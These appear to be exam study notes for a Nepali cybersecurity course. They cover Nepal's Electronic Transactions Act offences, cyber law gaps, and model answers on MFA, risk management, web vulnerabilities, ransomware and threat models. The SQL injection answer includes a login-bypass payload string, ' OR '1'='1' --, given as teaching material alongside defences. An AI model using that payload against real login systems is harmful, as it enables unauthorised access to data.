| 52 | To commit computer fraud: creating or publishing a digital signature certificate for fraud, or manipulating bills, account balances, inventory or ATM cards for gain | Rs 100,000 or 2 years or both, and the gain is recovered for the victim |
| 53 | Abetment (inciting someone to commit a computer offence), attempt, or joining a conspiracy to commit one | Rs 50,000 or 6 months or both, by degree |
| 54 | Punishment to the accomplice: whoever helps commit an offence, or acts as an accomplice in any other way | half the principal offender's punishment |
| 55 | Offence committed outside Nepal (extraterritoriality): a person who commits the act while residing abroad can be tried here when the computer, system or network attacked is in Nepal | as for the offence |
| 56 | Confiscation of the computers, systems, floppies, compact discs, tape drives, software and other accessories used | confiscated |
| 57 | Offences committed by a corporate body: charged to the person chiefly responsible for running it, unless he or she proves no knowledge or all reasonable efforts to prevent it; and to a director, manager or secretary whose consent, knowledge or negligence let it happen (8.6) | as for the offence |
| 58 | Other punishment: any breach of the Act or Rules that has no penalty of its own | Rs 50,000 or 6 months or both |
Answers: the ETA's offence sections, 44 to 52, in order.
How it decodes: Nine words, one a section from 44 to 52, initials in order. It reads as a thief came in, boiled the milk, threw away the chiura, picked the laddu, and was caught: a whole crime and its end in one line. Two C's: Chor is code, Chiura is confidentiality. Two F's: Fyaakyo is the false statement, Fasyo, the last word, is fraud.
- CChor 44 Code: pirating, destroying or altering source code. Chor, the thief: the Act's own Nepali heading calls it chori, theft
- AAayo 45 Access without authorisation. Aayo, he came in, uninvited, which is the offence
- DDudh 46 Damage to a computer and information system
- PPakaayo 47 Publication of illegal material in electronic form
- CChiura 48 Confidentiality breached by someone given access
- FFyaakyo 49 False statement to the Controller or a Certifying Authority
- LLaddu 50 Licence or certificate, false or falsely displayed
- RRojyo 51 Records and statements not submitted or not kept
- FFasyo 52 Fraud by computer, with the gain recovered for the victim
To remember the punishments, read them in bands. Attacks on the computer itself (44 to 46): 3 years or Rs 2 lakh. Publishing (47): the longest prison term, 5 years, with Rs 1 lakh, and more for every repeat. Breaches of trust, false papers and fraud (48 to 50, and 52): 2 years or Rs 1 lakh. The rest is small: Rs 50,000 for records (51), 6 months or Rs 50,000 for abetment and for any other breach (53, 58), and half for an accomplice (54). Accomplices and abetment are two different sections: the abettor incites, the accomplice helps.
To remember it in use, picture a student who guesses an administrator's password on the college exam portal (section 45), changes his friends' results (46), posts insulting messages about a teacher on the portal's notice board (47), and edits the fee records so that his own dues show as paid (52). One night of mischief, four sections; the roommate who kept watch at the door is an accomplice (54), with half the punishment.
- Victims: compensation from the offender (sections 58A and 76); the Act does not stop prosecution under other laws too (section 59).
- Procedure: the Government of Nepal is the plaintiff and the police must take the Controller's or experts' help (section 75); a complaint must be filed within 90 days of knowing of the offence (section 74).
- Courts: section 60 provides a three member IT Tribunal (law, IT and commerce members), with appeal within 35 days to an IT Appellate Tribunal. It has never been formed, so until it is, section 60(5) sends the cases to the district court: until 2023 only the Kathmandu District Court heard them, and since a 2082 (2025) amendment the Act names the concerned district court.
Policy, sector rules and institutions
- National Cyber Security Policy 2080 (2023), approved by the Cabinet on 8 August 2023: a national cyber security centre, CERTs for the provinces, awareness and skills, and a national internet gateway that critics called a surveillance risk.
- National Cyber Security Centre, set up under the Ministry of Communication and Information Technology in 2024 for prevention, response, recovery and forensics.
- Nepal Rastra Bank (NRB) IT Guidelines 2012, binding on banks and financial institutions, as the deck lists them: an IT strategy, policy and procedures; a senior official as information security officer; an IT audit every year; protection of mobile and ATM banking; data security; role-based access control; rules for outsourcing; and business continuity planning (BCP). The Cyber Resilience Guidelines 2023 build on them for banks and payment companies (governance, identification, protection, detection, response and recovery, testing, situational awareness, learning).
- Nepal Telecommunications Authority: the Cyber Security Byelaw 2077 (2020), mandatory security standards for telecom operators and internet service providers.
- Nepal Police Cyber Bureau, set up in 2018, investigates cyber crime.
- a) Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating. b) Define ethical considerations in the context of cyber security. Also, provide an overview of cyber law in the context of Nepal. 2082 Bhadra Q7 · 10
- Identify major provisions in Electronic Transaction Act 2008 in relation to the offences related to computers. Deck, ch 8 Q1
- Define ethical considerations in the context of cybersecurity. Also, provide an overview of cyber law in the context of Nepal. Class notes, ch 8 Q1
How complete is Nepal's cyber law? Gaps and fixes (lab 17) PREDICTED
Method (the lab's activity): list the issues (crimes, security duties, privacy, evidence, institutions, rights, cooperation); map each to the law that covers it; mark it covered, partly covered or not covered; compare with a benchmark (the Budapest Convention for crime, the GDPR for data, NIS2 for security duties); recommend.
| Issue | What Nepal has | The gap |
|---|---|---|
| Modern offences | ETA chapter 9, drafted in 2006 | no clear offences for identity theft, phishing, cyberstalking, sextortion, ransomware extortion, online child sexual abuse, deepfakes or cryptocurrency fraud; the Council of Europe notes the ETA was not conceived as a cyber crime law |
| Speech | ETA section 47 | vague terms ("public morality", "decent behaviour") used against journalists and critics; a Kantipur analysis found 70 of the 700 plus cyber crime cases decided by the Kathmandu District Court in the decade after 2013 were about expression or journalism |
| Penalties | fines set in 2063 rupees | Rs 200,000 for hacking a bank is no deterrent to organised crime |
| Courts and institutions | district courts, Cyber Bureau (2018), National Cyber Security Centre (2024) | the IT Tribunal and Appellate Tribunal were never formed; specialised judges and prosecutors are few |
| Evidence and procedure | National Criminal Procedure Code 2074 (2017) | no cyber-specific powers: no preservation orders, production orders for subscriber data, or rules on seizing and authenticating digital evidence |
| Data protection | Privacy Act 2075 (2018) | no regulator, no breach notification, few data subject rights, a Rs 30,000 maximum fine, no rules on transfers abroad |
| Security duties | NRB and NTA sector rules, Policy 2080 | no general law obliging critical infrastructure operators to secure systems or report incidents; a policy is not law |
| Cross-border cooperation | Mutual Legal Assistance Act 2070 (2014) | not a party to the Budapest Convention; slow evidence requests to foreign platforms |
| Researchers and whistleblowers | ETA section 45; RTI Act section 29 | no safe harbour for good-faith research; whistleblower protection only in public bodies |
Reform so far. An Information Technology and Cyber Security Bill 2082, meant to replace the ETA, was tabled in the House of Representatives in August 2025. Critics said it left "obscene material" undefined and omitted data subject rights such as access, correction, deletion and objection. The House was dissolved in September 2025 before the bill became law, and the ETA 2063 still governs; the government's legislative plan for the fiscal year that began in July 2026 again lists information technology, cybersecurity and artificial intelligence bills.
Recommendations
- A modern cyber crime Act aligned with the Budapest Convention, and accession to it.
- Narrow, precisely defined content offences (hate speech, non-consensual intimate images, harassment) with a public interest defence, in place of section 47.
- A comprehensive data protection law: an independent authority, breach notification, rights of access, erasure and objection, and fines that scale with the organisation.
- A critical infrastructure security law with mandatory incident reporting to the National Cyber Security Centre.
- Digital evidence and investigation powers under judicial oversight, with specialised cyber benches and trained prosecutors.
- Safe harbour for coordinated vulnerability disclosure, and a whistleblower Act covering the private sector.
- Balance: every new power weighed against the constitutional rights to privacy and communication; the 2025 social media block showed the cost of getting it wrong.
- Critically assess the completeness of Nepal's cyber laws in addressing contemporary cybersecurity and privacy issues. Identify the main gaps and recommend improvements. Predicted, ch 8 Q9 · 10
8.9Last minute recall
Chapter 8 in one screen
- Ethical considerations: privacy, authorisation and consent, confidentiality, honesty, avoiding harm, fairness, accountability, responsible disclosure, social responsibility.
- Law and ethics: law is enforced by government with sanctions; ethics is socially accepted conduct with no formal sanction; cultural mores; three tests: legal, ethical, code.
- Cultures: privacy EU against US; monitoring US against Germany; piracy Sweden against Indonesia; whistleblowing UK against Japan; gifts; education levels it.
- Cyber crime: computer as target, tool or incidental; personal gain. Cyber terrorism: ideology, fear, coercion, violence or serious harm (Denning).
- Hacktivism: a cause, disruption. Cyber warfare: state against state (Stuxnet 2010, Ukraine grid 2015).
- Types of law: constitutional, civil, criminal, administrative, statutory, international. Civil: plaintiff, preponderance (over 50%), compensation. Criminal: state, beyond reasonable doubt, prison or fine.
- Crime: actus reus (guilty act) + mens rea (guilty mind), concurrent; strict liability needs no mens rea; ex-Google engineer: theft stood, espionage fell on intent.
- Legal systems: civil, common, religious. Key laws: US CFAA, ECPA, DMCA, PATRIOT, FISMA, SOX, GLBA, HIPAA; UK CDPA 1988, CMA 1990, HRA 1998, RIPA 2000, DPA 2018; EU GDPR, NIS2, DORA, CRA 2024.
- Budapest Convention: 2001, in force 2004, 81 parties (2025), Nepal not one; criminalise, procedural tools, cooperate; MLA: preserve, request, check, execute, return (AlphaBay, Hansa 2017).
- Policy against law: ignorance of law no excuse (Civil Code 2074 s.5), of policy a defence; distributed, readily available, understood, acknowledged, uniformly enforced.
- Codes: ISC2 canons: protect society; act honorably, honestly, justly, responsibly, legally; serve principals; advance the profession. Ten Commandments (CEI 1992): Hari Itaharibata Saathi Sanga Fewa Pugera Rakshi Piyo, Chhitai Ruyo.
- IP: copyright (expression), trademark (avoid confusion), patent (new, useful, not obvious), trade secret (secret, indefinite). US: life + 70, 10, 20; Nepal: life + 50, 7, 7 renewable twice.
- Privacy principles (OECD 1980): collection limitation, data quality, purpose specification, use limitation, security, openness, participation, accountability. PIA: screen, describe, consult, assess, risks, mitigate, sign off.
- GDPR: 7 principles, 6 lawful bases, rights (access, rectification, erasure, restriction, portability, objection), 72 hours, EUR 20 million or 4%. Privacy Act 2075: consent, purpose, correction; 3 years or Rs 30,000.
- Ethical hacking: white, grey, black hats; authorisation, scope, rules of engagement; recon, scan, access, post-exploitation, report, clean-up.
- Responsible disclosure: report privately, fix, then publish; Project Zero 90+30, CERT/CC 45 days; full and non-disclosure are the extremes.
- Professional ethics: professionalism, ethics, morality; integrity, confidentiality, competence, objectivity; four pulls: code, society, state, personal values.
- Deterrence: Mb + Pb > Ocp + Ocm Pa Pc (Kshetri); 10:80:10; ignorance, accident, intent; fear of penalty, probability of being caught, penalty administered.
- Liability: the organisation pays for its people; due care, due diligence; legally defensible: crime, suspect, reasonable efforts; ETA s.57.
- Social responsibility and whistleblowing: protect society; report wrongdoing internally, then to an authority; RTI Act 2064 section 29 protects public employees.
- ETA 2063 (2008): 44 to 46 up to 3 years or Rs 2 lakh; 47 up to 5 years or Rs 1 lakh; 48 to 50, 52 up to 2 years or Rs 1 lakh; 55 abroad; 57 companies; 74 ninety days. Key: Chor Aayo, Dudh Pakaayo, Chiura Fyaakyo, Laddu Rojyo, Fasyo.
- Gaps: outdated offences, vague section 47, no evidence powers, weak data protection, no security duty law, not in Budapest, no safe harbour.
25 questions · asked 38 times in 4 sittings · exam answers only
Theory answers
Every theory question the 4 papers have asked, each with the answer as it is written in the exam: the direct answer for the marks, nothing else. Only what a paper has actually set is here; the topics no paper has asked yet are taught on their chapter cards. A question with several parts is split into them. How a process is carried out, step by step, is in Practical answers, and the chapter card behind each answer teaches the topic in full. Read them by chapter, each question once with every source that set it, or by paper, question by question.
1Cyber security concepts and principles
Authentication factors, MFA and phishing-resistant MFA TOP 3/4
2082 Bhadra · Q8
2082 internal · Q7
2081 Bhadra · Q7
Authentication is proving a claimed identity. The proof comes from authentication factors, categories of evidence:
| Factor | Basis | Examples |
|---|---|---|
| Something the user knows | knowledge | password, PIN, passphrase, security question |
| Something the user has | possession | phone with an authenticator app or SMS code, smart card, hardware token, security key |
| Something the user is | inherence (biometric) | fingerprint, face, iris, voice |
| Somewhere the user is | location | IP address, GPS position, office network |
| Something the user does | behaviour | typing rhythm, signature dynamics |
Multi-factor authentication (MFA) requires two or more factors from different categories, so a stolen password alone is not enough. A password plus a one-time code from the user's phone, or an ATM card plus its PIN, is MFA; a password plus a security question is not, since both are knowledge.
Phishing-resistant MFA is MFA that cannot be phished or relayed. Ordinary MFA still falls to real-time phishing (a fake site passes the password and one-time code to the real site within seconds), to MFA fatigue (repeated push requests until the user approves) and to SIM swapping (SMS codes redirected). Phishing-resistant MFA leaves no secret for the user to hand over: it uses public key cryptography bound to the genuine website. Examples:
- FIDO2/WebAuthn security keys and passkeys: the device holds a separate private key for each site and signs the login challenge together with the address of the site actually visited, so a look-alike domain gets nothing usable; the private key never leaves the device.
- PKI smart cards, such as government PIV cards, which prove possession of a certificate's private key.
It is required for US federal systems under OMB memorandum M-22-09 (2022) and recommended by CISA.
Cyber attack as global economic, political and technical warfare TOP 2/4
2082 internal · Q9
2081 Bhadra · Q8
Cyber attack has grown from individual mischief into global economic, political and technical warfare: the attackers now include organised criminal groups, rival companies and nation states, the targets include banks, elections, power grids and supply chains, and the weapons evolve faster than most defences.
The actors: cyber criminals after money through fraud, ransomware and stolen data; industrial competitors and foreign states after economic advantage; state backed advanced persistent threats (APTs) gathering military and national intelligence; hacktivists with political motives; and insiders misusing legitimate access.
1. Economic warfare
- Bangladesh Bank (2016): fraudulent SWIFT messages stole $81 million, attributed to North Korea's Lazarus group.
- NotPetya (2017): destructive malware spread through a Ukrainian accounting software update and caused over $10 billion of damage to firms such as Maersk, Merck and Mondelez.
- Ransomware: the Colonial Pipeline attack (2021) shut the main fuel pipeline of the US East Coast for days.
2. Political warfare
- Estonia (2007): weeks of DDoS against government, banks and media during a dispute with Russia.
- Stuxnet (2010): a worm, widely attributed to the United States and Israel, physically destroyed Iranian uranium enrichment centrifuges: cyber attack as a weapon.
- Ukraine (2015): the first confirmed blackout caused by a cyber attack, cutting power to about 225,000 customers.
- SolarWinds (2020): the Russian group APT29 backdoored software updates installed by about 18,000 customers, including US government agencies.
3. Technical warfare
- Evolving TTPs: attackers keep changing their tactics, techniques and procedures; Ryuk ransomware has taken a whole network two hours after initial access.
- Leaked cyber weapons: the NSA's EternalBlue exploit, once leaked, drove WannaCry (2017) to over 200,000 computers in about 150 countries.
- Supply chain attacks: Log4j (2021) and the xz backdoor (2024) turned one flaw into a flaw in thousands of systems, and automation and AI make attacks faster still.
Impact: financial loss, reputational damage, lost customers and share value, legal penalties, and physical harm when industrial systems are hit. Nepal is not exempt: in 2017 NIC Asia Bank's SWIFT connection was abused for fraudulent international transfers. Cybersecurity is therefore a matter of business survival and national security, not only of IT.
The CNSS security model (McCumber cube) and how it applies HOT 1/4
2083 internal · Q1
The CNSS security model, or McCumber cube (proposed by John McCumber in 1991 and adopted by the US Committee on National Security Systems in its training standard NSTISSI No. 4011), is a three dimensional model of information security. It crosses three axes of three values each, forming a 3 × 3 × 3 cube of 27 cells:
- Security goals (critical characteristics): confidentiality, integrity, availability.
- Information states: storage (at rest), processing (in use), transmission (in transit).
- Security measures: technology; policy and practices; education, training and awareness.
How it applies: each cell is one question the security programme must answer, so the cube is a checklist for finding gaps in coverage, which is its main purpose. For example, confidentiality × transmission × technology is met by TLS or a VPN; integrity × storage × policy by a change control policy for the database; availability × processing × education by training operators on fail-over. A cell with no control is a gap. The model also forces balance, since a programme that buys only technology leaves the policy and people slices empty. It shows where protection is missing; risk assessment then decides which gaps to close first.
What risk management is, and why it is needed HOT 1/4
2082 internal · Q1
Risk management is the process of discovering and assessing the risks to an organization's operations, that is, its assets, the threats to them and their vulnerabilities, and deciding how those risks can be controlled or mitigated. Its goal is to reduce risk to an acceptable level, not to zero. It runs as a continuous cycle:
Risk management is needed because:
- Resources are limited: no organization can protect every asset from every threat, so money and staff must go to the highest risks first.
- Risk cannot be eliminated: it can only be reduced to a level management accepts, and the residual risk must be known and owned.
- Better decisions: ranked and costed risks show whether to avoid, transfer, mitigate or accept, and justify the security budget.
- Legal and regulatory duty: it demonstrates due care and due diligence, and standards such as ISO/IEC 27001 and PCI DSS require it.
- Continuity and reputation: risks that could stop the business are found before they strike.
- Constant change: new assets, threats and vulnerabilities appear all the time, so controls must be reviewed, not installed and forgotten.
As Sun Tzu's principle puts it, an organization must know itself (its assets and weaknesses) and know its enemy (the threats) to defend well.
The ocean cannot be boiled: risk management and the NIST RMF HOT 1/4
2081 Bhadra · Q1
The saying about boiling the ocean means an impossibly large task cannot be done all at once. In security, an organization cannot protect every asset against every threat to the highest standard: money, people and time are limited, the attack surface is effectively unbounded, and risk can never be reduced to zero. The intent of the statement is that security must be prioritised by risk: the most valuable assets facing the most likely threats are protected first and most strongly, and the rest in proportion.
In risk management terms:
- Risk is the likelihood that a threat exploits a vulnerability to harm an asset; risk management identifies, assesses, treats and monitors it, aiming at an acceptable level, not zero.
- Ranking: the asset inventory, weighted factor analysis and the ranked vulnerability risk worksheet decide what comes first.
- Cost benefit: a control is justified only when it saves more than it costs (ALE before minus ALE after minus its annual cost); other risks are transferred or accepted.
- Residual risk is accepted explicitly by management instead of being chased forever.
- Iteration: the most important work is done first, and the cycle repeats.
The NIST RMF (SP 800-37 Rev. 2) builds this prioritisation into its seven steps:
- Prepare: fix roles, the risk strategy, risk tolerance and the system boundary, deciding in advance what matters.
- Categorize: rate each system low, moderate or high impact for confidentiality, integrity and availability (FIPS 199), so a high impact core banking system and a low impact canteen app are not treated alike.
- Select: pick the matching baseline of NIST SP 800-53 controls and tailor it, so controls follow the category and the real risks.
- Implement: deploy the chosen controls.
- Assess: test the controls and list weaknesses in a plan of action and milestones, fixing the worst first.
- Authorize: a senior official accepts the residual risk and grants an authorization to operate, instead of demanding perfect security.
- Monitor: watch continuously and repeat the cycle as threats change.
So the statement warns against trying to secure everything equally and at once. Risk management, through the RMF, focuses limited resources where risk is highest, accepts what remains, and improves step by step.
The CIA triad and its importance for organizational security goals HOT 1/4
2082 Bhadra · Q1
The CIA triad is the core model of information security: confidentiality, integrity and availability, the three properties every security control exists to preserve.
- Confidentiality: only authorised users, processes and systems can read the information, whether stored, processed or transmitted; kept by encryption, access control and data classification.
- Integrity: the information stays accurate and complete, changed only in authorised ways; kept by hashing, digital signatures and change control.
- Availability: authorised users get timely, uninterrupted access to information and systems; kept by redundancy, backups and protection against denial of service.
Its importance in achieving organizational security goals:
- It defines the goals: security objectives are written as CIA targets: customer records kept confidential, transactions never altered, services up when customers need them.
- It guides controls and spending: every control maps to the property it protects, so gaps and duplicated effort show, and the budget goes where a property is weakest.
- It measures risk and impact: an incident is rated by which property it harms and how badly; FIPS 199 categorises a system by its confidentiality, integrity and availability impact.
- It balances trade-offs: the three pull against each other (encryption slows access, copies widen exposure), so the triad frames a business decision; operational technology ranks availability first (AIC).
- It supports compliance and trust: laws and standards such as ISO/IEC 27001 and the GDPR are built on the same properties, so meeting them protects reputation and customers.
Example: WannaCry (2017) encrypted hospital systems in the UK's National Health Service, an availability failure that stopped patient care: the goal "services available" was lost with one property.
Sun Tzu: know yourself and know the enemy HOT 1/4
2082 Bhadra · Q1
Sun Tzu's The Art of War holds that a side that knows both itself and its enemy need not fear the result of a hundred battles; one that knows itself but not the enemy suffers a defeat for every victory; one that knows neither loses every battle. Applied to information security, two things must be achieved:
- Know yourself: identify, examine and understand the organization's own information assets: what information it holds, where it is stored, processed and transmitted, its value, which vulnerabilities the systems holding it have, and which controls already protect it. A database administrator, for instance, must know what data is stored, on which servers, under which DBMS.
- Know the enemy: identify, examine and understand the threats facing those assets: who would attack (criminals, insiders, nation states), how (phishing, malware, SQL injection, denial of service) and how likely each is. For a web application: XSS, SQL injection, CSRF and DoS.
Why both are needed: knowing the assets without the threats leaves the defences guessing; knowing the threats without the assets leaves the most valuable systems unprotected. Together they are the basis of risk management: risk identification (assets and threats), risk assessment (likelihood and impact) and risk control, done by all three communities of interest: information security, IT and general management.
2Malware and cyber attacks
XSS, XSRF, buffer overflow and SQL injection, and the best practices against them TOP 2/4
2082 internal · Q2
2081 Bhadra · Q2
Four vulnerabilities account for much of web application compromise. Three are injection flaws, in which data is treated as code; XSRF forges a genuine user's intent.
- XSS (Cross-Site Scripting): untrusted input is placed in a page without encoding, so the victim's browser runs the attacker's script with the site's privileges. Reflected XSS rides in a crafted URL, stored XSS is saved in the database and hits every visitor, and DOM-based XSS lives in client-side script. It abuses the user's trust in the site; the impact is stolen cookies, hijacked sessions and actions performed as the user.
- XSRF (Cross-Site Request Forgery): a page on another site makes a logged-in victim's browser send a state-changing request, such as a funds transfer; the browser attaches the session cookie, so the site obeys. It abuses the site's trust in the browser.
- Buffer overflow: input longer than a fixed buffer overwrites adjacent memory, including the return address, so execution jumps to the attacker's code; even a failed attempt crashes the service. It arises in C and C++ components that do not check length.
- SQL injection: input joined into a query escapes its data position:
' OR '1'='1' --turns a login check into a condition true for every row. The attacker can bypass login and read, change or delete the whole database.
Security best practices for resilience:
- Validate input on the server against allow-lists of type, length and format.
- Encode output for its context, with auto-escaping templates and a Content Security Policy against XSS.
- Parameterise queries: prepared statements and stored procedures, so input stays data.
- Anti-CSRF tokens in every state-changing form, SameSite cookies, POST only, and re-authentication for sensitive actions.
- Memory safety: bounds checks and safe functions (
strncpy,snprintf), stack canaries, ASLR and DEP, or memory-safe languages. - Least privilege for the database account and the web server process.
- Hardened sessions: HttpOnly, Secure and SameSite cookies, a new session ID at login, timeouts.
- Secure development: a secure coding standard, code review, SAST and DAST, penetration testing, a WAF as a compensating control, prompt patching and generic error messages.
Reflected, stored and DOM-based XSS compared, with two mitigations each HOT 1/4
2083 internal · Q2
Cross-site scripting (XSS) injects attacker script into a trusted site's pages so that it runs in the victim's browser with the site's privileges. The three types differ in where the payload resides and how execution is reached.
| Point | Reflected | Stored | DOM-based |
|---|---|---|---|
| Payload resides | in the request, usually a URL parameter; nothing is saved | in the server's storage: database, comment, forum post | in client-side script and the DOM, often after the # (never sent to the server) |
| Execution flow | victim opens a crafted link; the server echoes the parameter into the page; the browser runs it | attacker posts the script; the server stores it; every visitor's browser runs it | the page's own JavaScript reads location.hash or a field and writes it through innerHTML or eval; the server response is clean |
| Mitigation 1 | context-aware output encoding of every reflected value | output encoding wherever stored data is displayed | safe DOM APIs: textContent, setAttribute, never innerHTML or eval with user data |
| Mitigation 2 | allow-list input validation, with a CSP that blocks inline script | server-side sanitisation of rich text with a vetted allow-list library | validation and encoding in client code before any sink, with Trusted Types under CSP |
For all three, HttpOnly session cookies keep a successful script from reading the session.
The evolution of ransomware, from encryption to extortion HOT 1/4
2082 Bhadra · Q2
Ransomware is malware that denies a victim access to its data, usually by encrypting it, and demands a ransom, usually in cryptocurrency, for the key. It has evolved from a single lever, the encrypted files, to several compounding threats, each added when victims found a way out:
- Simple encryption (single extortion): the attacker gets in, deletes the shadow copies, encrypts the files and demands payment for the key. Examples: WannaCry (2017), a worm that spread through the EternalBlue SMB exploit (MS17-010) and asked for Bitcoin; Ryuk, delivered by Emotet and TrickBot, encrypting whole networks for large ransoms. Its weakness for the attacker: tested offline backups restore the data without paying.
- Ransomware as a service (RaaS): developers build and maintain the ransomware, affiliates break in and deploy it, and the ransom is shared, so the number of attackers multiplied. Examples: Ryuk and REvil, named on underground forums.
- Double extortion (exfiltration): sensitive data is stolen before encryption, and the attacker threatens to publish it on a leak site. Backups no longer help, since a restored victim still faces a public breach, fines and lawsuits. Example: the Maze gang, from late 2019.
- Triple extortion (DDoS): a DDoS attack on the victim's websites and online services is added, keeping it offline and under pressure while it decides.
- Quadruple extortion (harassment): the victim's customers, users and partners are contacted directly, turning the victim's own stakeholders into the pressure.
What it means for defence: each stage keeps every earlier lever, so backups alone are no longer enough: prevention (patching, MFA, phishing filters), data loss prevention against exfiltration, DDoS protection and a tested incident response plan are all needed.
3Cyber threat modeling and threat hunting
The Cyber Kill Chain, its stages, and how it aids detection, response and mitigation TOP 3/4
2083 internal · Q3
2082 internal · Q3
2081 Bhadra · Q3
The Cyber Kill Chain is a model developed by Lockheed Martin (Hutchins, Cloppert and Amin, 2011) that describes a cyber intrusion as seven sequential stages an adversary must complete to reach its objective. Because every stage must succeed, a defender who detects or breaks any one of them stops the attack.
- Reconnaissance: the attacker gathers information on the target, such as staff email addresses from LinkedIn and exposed services found with Shodan.
- Weaponization: an exploit is coupled with a backdoor into a deliverable payload, for example a Word document with a malicious macro.
- Delivery: the weapon is sent to the victim by phishing email, a malicious website or a USB drive.
- Exploitation: the payload triggers a vulnerability and runs code on the victim's system.
- Installation: malware or a backdoor is installed for persistence, such as a remote access trojan started from a registry Run key.
- Command and control (C2): the malware opens a channel to the attacker's server, for example an HTTPS beacon every 60 seconds.
- Actions on objectives: the attacker achieves the goal: data exfiltration, encryption for ransom, or destruction.
Aid to threat detection: each stage leaves evidence in different sources (scans in firewall logs, phishing in mail logs, persistence in endpoint logs, beaconing in DNS and proxy logs), so analysts know where to look and can see which stages have no detection at all. Early stages can be caught before any compromise; late stages reveal a breach in progress.
Aid to response: the stage reached decides the priority and the action. A phishing email blocked at delivery is low priority and is purged from other mailboxes; an active C2 channel is critical: the IP is blocked, the host isolated and the network searched for lateral movement. Responders also trace the chain backwards to find the entry point and the scope.
Aid to mitigation: controls are mapped to every stage for defense in depth: less public exposure against reconnaissance, email filtering and awareness training against delivery, patching against exploitation, EDR and application allow-listing against installation, egress filtering against C2, and DLP and segmentation against exfiltration. The six defender actions (detect, deny, disrupt, degrade, deceive, destroy) are planned for each stage, and the earlier the chain is broken, the lower the cost.
Limitation: the model is linear and centered on external malware, so insider threats and movement inside the network are better described by MITRE ATT&CK.
STRIDE and PASTA threat models in brief TOP 2/4
2082 internal · Q7
2081 Bhadra · Q7
STRIDE is a threat categorization model developed at Microsoft (Kohnfelder and Garg, 1999). It is applied to each element of a system's data flow diagram during design, and each letter names a type of threat that violates one security property:
| Threat | Meaning | Property violated |
|---|---|---|
| Spoofing | pretending to be another user or system | authentication |
| Tampering | unauthorized change to data or code | integrity |
| Repudiation | denying an action, with no proof either way | non-repudiation |
| Information disclosure | exposing data to unauthorized parties | confidentiality |
| Denial of service | making a service unavailable | availability |
| Elevation of privilege | gaining more rights than were granted | authorization |
PASTA (Process for Attack Simulation and Threat Analysis, UcedaVelez and Morana) is a seven-stage, risk-centric methodology that begins with business objectives and ends with business impact:
- Define objectives: business goals, compliance, risk appetite.
- Define technical scope: the attack surface: servers, applications, APIs.
- Application decomposition: components, data flows, trust boundaries, entry points.
- Threat analysis: realistic threats from threat intelligence and attacker profiles.
- Vulnerability and weakness analysis: known vulnerabilities matched to the threats.
- Attack modeling and simulation: attack trees showing how the weaknesses chain together.
- Risk and impact analysis: the business impact of each attack, and countermeasures in order of priority.
STRIDE is a checklist for finding threats in a design; PASTA is a complete process that ranks them by business risk.
Threat intelligence, MITRE ATT&CK and the Cyber Kill Chain in threat hunting HOT 1/4
2082 Bhadra · Q3
Threat hunting is the proactive, human-led search for threats that have evaded automated tools, on the principle of assume breach. Every hunt starts from a hypothesis; threat intelligence, MITRE ATT&CK and the Cyber Kill Chain supply, structure and scope those hypotheses.
- Threat intelligence: what to look for. Evidence-based knowledge of current threats: strategic (who targets the sector), operational (active campaigns) and tactical (IoCs such as hashes, IP addresses and domains). It turns a vague search into an intelligence-driven hypothesis (TA577 is phishing finance staff with OneNote attachments: look for OneNote starting scripts), supplies the IoCs to sweep for, and ranks hunts by relevance; a hunt's findings flow back as new intelligence.
- MITRE ATT&CK: how attackers behave. A knowledge base of real adversary tactics, techniques and procedures (15 tactics, hundreds of techniques). Each technique is a ready hypothesis (T1059.001: is PowerShell running encoded commands?), comes with the data sources to check and detection ideas, and maps coverage, so techniques with no detection are hunted first. Hunting on TTPs sits at the top of the Pyramid of Pain, the hardest level for an attacker to change.
- The Cyber Kill Chain: where in the attack. Lockheed Martin's seven stages (reconnaissance, weaponization, delivery, exploitation, installation, command and control, actions on objectives) let a hunter target one stage (beaconing for command and control, persistence for installation), trace a finding back to the entry point and forward to the objective, and break the chain early.
Together, in one hunt (Ryuk): intelligence reports Emotet and TrickBot leading to Ryuk; ATT&CK gives the techniques (phishing, T1566; PowerShell, T1059.001); the kill chain places them (delivery, exploitation, installation, command and control); the hunter searches EDR and proxy logs for Word starting PowerShell and for beaconing, finds an infected host before encryption, and turns the query into a detection rule.
STRIDE and DREAD threat models in brief HOT 1/4
2082 Bhadra · Q8
STRIDE is Microsoft's threat categorisation model (1999): during design, each element of a data flow diagram is checked against six threat types, each violating one security property.
| Threat | Meaning | Property violated |
|---|---|---|
| Spoofing | pretending to be another user or system | authentication |
| Tampering | unauthorised modification of data | integrity |
| Repudiation | denying that an action was performed | non-repudiation |
| Information disclosure | exposing data to the unauthorised | confidentiality |
| Denial of service | making a service unavailable | availability |
| Elevation of privilege | gaining rights never granted | authorization |
DREAD is Microsoft's scoring model for the threats STRIDE finds, so the most dangerous are fixed first. Each threat is scored, typically 1 to 10, on five questions, and the average is its risk:
- Damage potential: how severe is the harm?
- Reproducibility: how reliably can the attack be repeated?
- Exploitability: how easy is it to launch?
- Affected users: how many users are hit?
- Discoverability: how easy is the weakness to find?
Example: SQL injection on a login page scores about 8.8 and is fixed before verbose error messages (6.6). STRIDE finds the threats and DREAD ranks them; DREAD's weakness is its subjective scores.
4Log management, data visualization and security monitoring
Types of logs integrated into a SIEM, and what each records HOT 1/4
2083 internal · Q7
A SIEM can integrate logs of every kind. By what they record, they fall into nine types:
| Type | Information recorded | Example |
|---|---|---|
| Authentication | logins and logouts, success or failure | 37 failed logins for admin |
| Authorization | privileged actions and changes to rights | a user added to Administrators |
| System | operating system events and errors | a critical service stopped |
| Application | application events and errors | user actions in an application |
| Network | network activity and unusual patterns | flows, DNS queries |
| Firewall | allowed and denied connections | a blocked connection to port 3389 |
| Database | transactions, SQL queries, changes | a bulk read of a student table |
| Security | events from security tools | IDS alerts, antivirus detections |
| Audit | significant actions, for compliance and accountability | who changed a configuration |
Four of them in detail:
- Authentication logs record who logged in or failed, when, from which address and by what method. They reveal brute force, password spraying and stolen credentials.
- Firewall logs record each connection allowed or denied, with source and destination address, port, protocol and action. They reveal scans and traffic to forbidden ports.
- Application logs record user requests, transactions and the errors an application raises. They reveal abuse of its functions and faults after updates.
- Database logs record queries, logins and changes to data. They reveal SQL injection and bulk reads of sensitive tables.
A SIEM also takes logs from endpoints, switches, routers, servers, mail servers, IoT devices, printers and cloud services.
5Emerging technologies in security operations
The SOC visibility triad, and why integrating its three parts beats any one alone TOP 2/4
2082 internal · Q4
2081 Bhadra · Q4
